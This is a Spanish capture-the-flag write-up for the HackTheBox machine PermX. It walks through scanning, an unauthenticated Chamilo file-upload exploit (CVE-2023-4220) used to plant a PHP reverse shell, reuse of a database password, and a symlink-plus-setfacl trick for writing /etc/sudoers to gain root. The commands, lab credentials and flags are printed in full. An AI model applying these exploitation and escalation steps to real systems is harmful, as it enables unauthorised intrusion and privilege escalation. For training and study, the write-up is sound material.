PermX es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina PermX 10.129.47.164 a /etc/hosts como permx.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.47.164 Nmap scan report for 10.129.47.164 Host is up, received reset ttl 63 (0.042s latency). Scanned at 2024-07-06 22:58:44 CEST for 13s Not shown: 60048 closed tcp ports (reset), 5485 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Jul 6 22:58:57 2024 -- 1 IP address (1 host up) scanned in 13.08 seconds |
Una vez detectados los puertos abiertos, analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.47.164 Nmap scan report for 10.129.47.164 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA) |_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://permx.htb |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jul 6 22:59:16 2024 -- 1 IP address (1 host up) scanned in 9.26 seconds |
Enumeración
Accedemos al portal web del puerto 80 y vemos la siguiente web

Revisamos en detalle la misma pero no parece que haya gran cosa, así que procedemos a enumerar subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
$ ffuf -u http://permx.htb -H "Host: FUZZ.permx.htb" -w /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 277-500 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://permx.htb :: Wordlist : FUZZ: /data/dicts/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.permx.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 277-500 ________________________________________________ www [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 48ms] lms [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 72ms] :: Progress: [114441/114441] :: Job [1/1] :: 990 req/sec :: Duration: [0:02:00] :: Errors: 0 :: |
Añadimos los dos subdominios al fichero hosts y accedemos al portal de lms

En la página encontramos el formulario de login del software de e-learning, Chamilo, pero no parece haber mucho más a simple vista, así que enumeramos el portal y encontramos el fichero robots
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ curl http://lms.permx.htb/robots.txt # # robots.txt # # This file is to prevent the crawling and indexing of certain parts # of your site by web crawlers and spiders run by sites like Yahoo! # and Google. By telling these "robots" where not to go on your site, # you save bandwidth and server resources. # # # For more information about the robots.txt standard, see: # http://www.robotstxt.org/wc/robots.html # # For syntax checking, see: # http://www.sxw.org.uk/computing/robots/check.html User-Agent: * # Directories Disallow: /app/ Disallow: /bin/ Disallow: /documentation/ Disallow: /home/ Disallow: /main/ Disallow: /plugin/ Disallow: /tests/ Disallow: /vendor/ # Files Disallow: /license.txt Disallow: /README.txt Disallow: /whoisonline.php Disallow: /whoisonlinesession.php |
Nos centramos en la página de la documentación, y más concretamente en el changelog, donde obtenemos la versión instalada

El portal tiene la versión 1.11.24 así que nos vamos a google y encontramos una vulnerabilidad de subida arbitraria de ficheros bajo el cve-2023-4220
Así que siguiendo la poc del enlace anterior, generamos una shell en php y la subimos al portal
|
1 2 |
$ curl -F 'bigUploadFile=@rev.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' The file has successfully been uploaded. |
Ejecutamos con curl
|
1 |
$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rev.php' |
Y tenemos acceso con www-data
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.136] from (UNKNOWN) [10.129.47.164] 37016 Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux 21:26:07 up 1:57, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ $ script /dev/null -c bash Script started, output log file is '/dev/null'. www-data@permx:/$ |
Una vez dentro, revisamos los ficheros de configuración del portal y encontramos unas credenciales
|
1 2 3 4 |
www-data@permx:/var/www/chamilo/app/config$ cat configuration.php|grep -iE "db_user|db_password" <at configuration.php|grep -iE "db_user|db_password" $_configuration['db_user'] = 'chamilo'; $_configuration['db_password'] = '03F6lY3uXAP2bkW8'; |
con las cuales escalamos al usuario mtz
|
1 2 3 4 5 6 7 8 9 10 11 |
www-data@permx:/var/www/chamilo/app/config$ ls -l /home ls -l /home total 4 drwxr-x--- 4 mtz mtz 4096 Jun 6 05:24 mtz www-data@permx:/var/www/chamilo/app/config$ su - mtz su - mtz Password: 03F6lY3uXAP2bkW8 mtz@permx:~$ whoami whoami mtz |
Obteniendo la flag de user
Una vez dentro con el usuario, vamos a por la primera flag
|
1 2 3 4 5 6 7 |
mtz@permx:~$ pwd pwd /home/mtz mtz@permx:~$ cat user.txt cat user.txt f0086bd5c50533cb1af2564b7cbe2012 mtz@permx:~$ |
Escalado de privilegios
Revisamos los permisos del usuario y puede ejecutar un script como root
|
1 2 3 4 5 6 7 8 9 10 |
mtz@permx:~$ sudo -l sudo -l Matching Defaults entries for mtz on permx: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mtz may run the following commands on permx: (ALL : ALL) NOPASSWD: /opt/acl.sh mtz@permx:~$ |
Cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
mtz@permx:~$ ls -l /opt/acl.sh ls -l /opt/acl.sh -rwxr-xr-x 1 root root 419 Jun 5 11:58 /opt/acl.sh mtz@permx:~$ cat /opt/acl.sh cat /opt/acl.sh #!/bin/bash if [ "$#" -ne 3 ]; then /usr/bin/echo "Usage: $0 user perm file" exit 1 fi user="$1" perm="$2" target="$3" if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then /usr/bin/echo "Access denied." exit 1 fi # Check if the path is a file if [ ! -f "$target" ]; then /usr/bin/echo "Target must be a file." exit 1 fi /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target" |
Viendo el script anterior podemos añadir una acl a cualquier fichero existente en el servidor, así que vamos a hacerlo sobre el fichero sudoers.
Como directamente no nos deja, creamos un enlace en la home del usuario que apunte al fichero que queremos
|
1 2 |
mtz@permx:~$ ln -sfvn /etc/sudoers sudo_lnk 'sudo_lnk' -> '/etc/sudoers' |
y ejecutamos
|
1 |
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/sudo_lnk |
una vez lo tenemos, añadimos una línea al fichero sudoers para darnos permiso total en la máquina
|
1 |
mtx@perms:~$ echo "mtz ALL=(ALL:ALL) ALL" > sudo_lnk |
Obteniendo la flag de root
Como último paso, escalamos a root y cogemos la flag
|
1 2 3 4 5 6 |
mtz@permx:~$ sudo su - [sudo] password for mtz: root@permx:~# id uid=0(root) gid=0(root) groups=0(root) root@permx:~# cat /root/root.txt f9a1010be816ec0db5293d825bb6f19f |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










